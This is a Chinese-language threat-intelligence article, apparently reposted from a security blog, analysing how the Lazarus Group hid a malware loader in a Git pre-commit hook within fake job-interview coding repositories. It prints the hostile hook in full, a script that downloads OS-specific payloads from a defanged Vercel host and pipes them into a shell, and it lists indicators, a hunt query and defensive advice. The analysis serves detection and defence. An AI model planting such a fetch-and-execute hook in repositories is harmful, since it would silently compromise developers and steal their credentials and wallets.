LazarusGroup利用Git钩子隐藏恶意软件

admin 2026-05-27 05:47:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: OpenSourceMalware团队发现朝鲜Lazarus组织在传染性面试攻击中采用新手法,将恶意加载程序隐藏在Git钩子中而非传统位置。攻击者通过伪造的预提交钩子脚本根据操作系统类型从Vercel部署的C2服务器获取有效载荷,利用社会工程诱骗开发者执行。文档提供了具体攻击指标、检测查询及安全建议,强调在面试中克隆代码库时需检查钩子目录并在隔离环境中运行。 综合评分: 88 文章分类: 恶意软件,社会工程学,威胁情报,安全意识,安全工具


cover_image

Lazarus Group 利用 Git 钩子隐藏恶意软件

Khan安全团队

2026年5月24日 18:50 海南

在小说阅读器读本章

去阅读

OpenSourceMalware 团队发现朝鲜的“传染性面试/任务劫持”策略出现了新的变化:攻击者不再将第二阶段加载程序塞入.vscode/tasks.json安装package.json后脚本或伪造的.woff2字体文件中,而是将其隐藏在 Git 钩子中。候选人克隆“编码评估”代码库后,加载程序会在提交对象写入之前触发。

钩子的实际作用

恶意.githooks/pre-commit脚本很短,这正是它的目的——它是一个轻量级的加载器,通过某种方式识别操作系统uname -s,然后使用 curl 或 wgets 从目标平台获取特定平台的有效载荷,precommit.vercel.app并将其直接通过管道传递给 shell 或cmd.exe:

#!/bin/shuname_s="$(uname -s 2>/dev/null || echo unknown)"case "$uname_s" in  Darwin)    curl -s 'hxxps://precommit[.]vercel.app/settings/mac?flag=5' | sh >/dev/null 2>&1    exit 0    ;;  Linux)    wget -qO- 'hxxps://precommit[.]vercel.app/settings/linux?flag=5' | sh >/dev/null 2>&1    exit 0    ;;  MINGW*|MSYS*|CYGWIN*)    curl -s hxxps://precommit[.]vercel.app/settings/windows?flag=5 | cmd >/dev/null 2>&1    exit 0    ;;  *)    exit 0    ;;esac

有几点值得注意。按照朝鲜的惯用伎俩,C2 端点针对不同的操作系统提供不同的 shell 脚本,因此攻击者可以向 macOS/Linux 用户发送 Bash 有效载荷,并向cmd.exeWindows 系统上使用 Git Bash/MSYS/Cygwin 的用户发送兼容的批处理有效载荷。flag=5查询参数几乎可以肯定是一个活动/变体标识符——我们曾在之前的“传染性访谈”活动中看到攻击者使用类似的数字标志来追踪哪个诱饵带来了点击。输出会被静默丢弃>/dev/null 2>&1,脚本总是exit 0会执行 save 命令,因此提交会成功,开发者看不到任何异常。

主机名precommit[.]vercel.app是社会工程攻击层。乍一看,它像是官方pre-commit框架的营销网站。但实际上并非如此。这是一个免费的 Vercel 部署,它为每个路径搭建了一个有效载荷服务器,运维人员可以随意启动和关闭该服务器。

为什么要使用预提交钩子?

预提交钩子几乎是此活动的理想第二阶段触发器:

  • 它们已经是合法开发者工作流程的一部分——Husky、lint-staged 和pre-commit框架配置随处可见,因此一个.githooks/目录不会引起任何怀疑。
  • 当候选人第一次尝试“修复错误并提交”时,这些程序会自动运行——这实际上就是假招聘人员分配给他们的任务。
  • 大多数克隆面试代码库的候选人都会通过配置钩子git config core.hooksPath .githooks(或者在设置脚本中进行设置)来配置,而不会阅读代码库的内容。
  • 他们完全绕过了 VS Code。微软终于开始tasks.json认真对待自动执行问题,而运维人员显然正在寻找下一个可能引发问题的开发工具。

这是同样的“传染性面试”社会工程攻击——假招聘人员、“编码评估”代码库、多阶段加载器提取类似 InvisibleFerret 的加密钱包和凭证窃取植入物只是通过不同的方式传播。

我们看到的情况

在我们今天提取的样本中,同一个 pre-commit hook(内容相同,SHA 值也相同3ebd9bb…)被提交到多个 GitHub 仓库,这些仓库都遵循标准的 Contagious Interview 诱饵模式:以 DeFi/加密代币为主题的项目、新创建的账户、极少的提交历史,以及要求应聘者在本地实际运行代码的“任务”。您可以使用以下 GitHub 代码搜索自行复现此攻击:path:**/pre-commit OR path:**/post-checkout content:”vercel.app”。此外,同一个威胁组织还使用了 post-checkout hook,这些 hook 更加恶劣,因为它们会在您每次切换分支时触发。

如果你是一名开发者,面试过程中被要求克隆一个代码仓库——尤其是在加密货币、DeFi 或 web3 领域——那么在证明并非如此之前,务必假定它带有恶意。在进行任何其他操作之前,请仔细检查 <filename><filename><filename>.githooks/以及.husky/所有.vscode/tasks.json脚本。更好的做法是,在一个没有浏览器配置文件、没有 <filename>、没有挂载钱包的postinstall临时虚拟机中运行整个代码仓库。~/.ssh

妥协指标(IOC)

C2基础设施

hxxps://precommit[.]vercel.app/settings/mac?flag=5hxxps://precommit[.]vercel.app/settings/linux?flag=5hxxps://precommit[.]vercel.app/settings/windows?flag=5precommit[.]vercel.app

文件指示器

.githooks/pre-commitSHA-256&nbsp;of&nbsp;observed loader:&nbsp;3ebd9bb57d155cc7c3353660f54c153a094cdfbd (git&nbsp;blob&nbsp;SHA, multiple repos)

Hunt Query(GitHub 代码搜索)

path:**/pre-commit OR path:**/post-checkout content:"vercel.app"

结论

这是同一个朝鲜行动者,同样的受害者画像,同样的最终目标——他们只是把触发陷阱提前到了开发者工作流程的下一步。预计加载器的位置会不断变化:任何开发者工具自动运行任意脚本的地方,Contagious Interview 最终都会在那里隐藏有效载荷。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Khan安全团队 《Lazarus Group 利用 Git 钩子隐藏恶意软件》

评论:0   参与:  0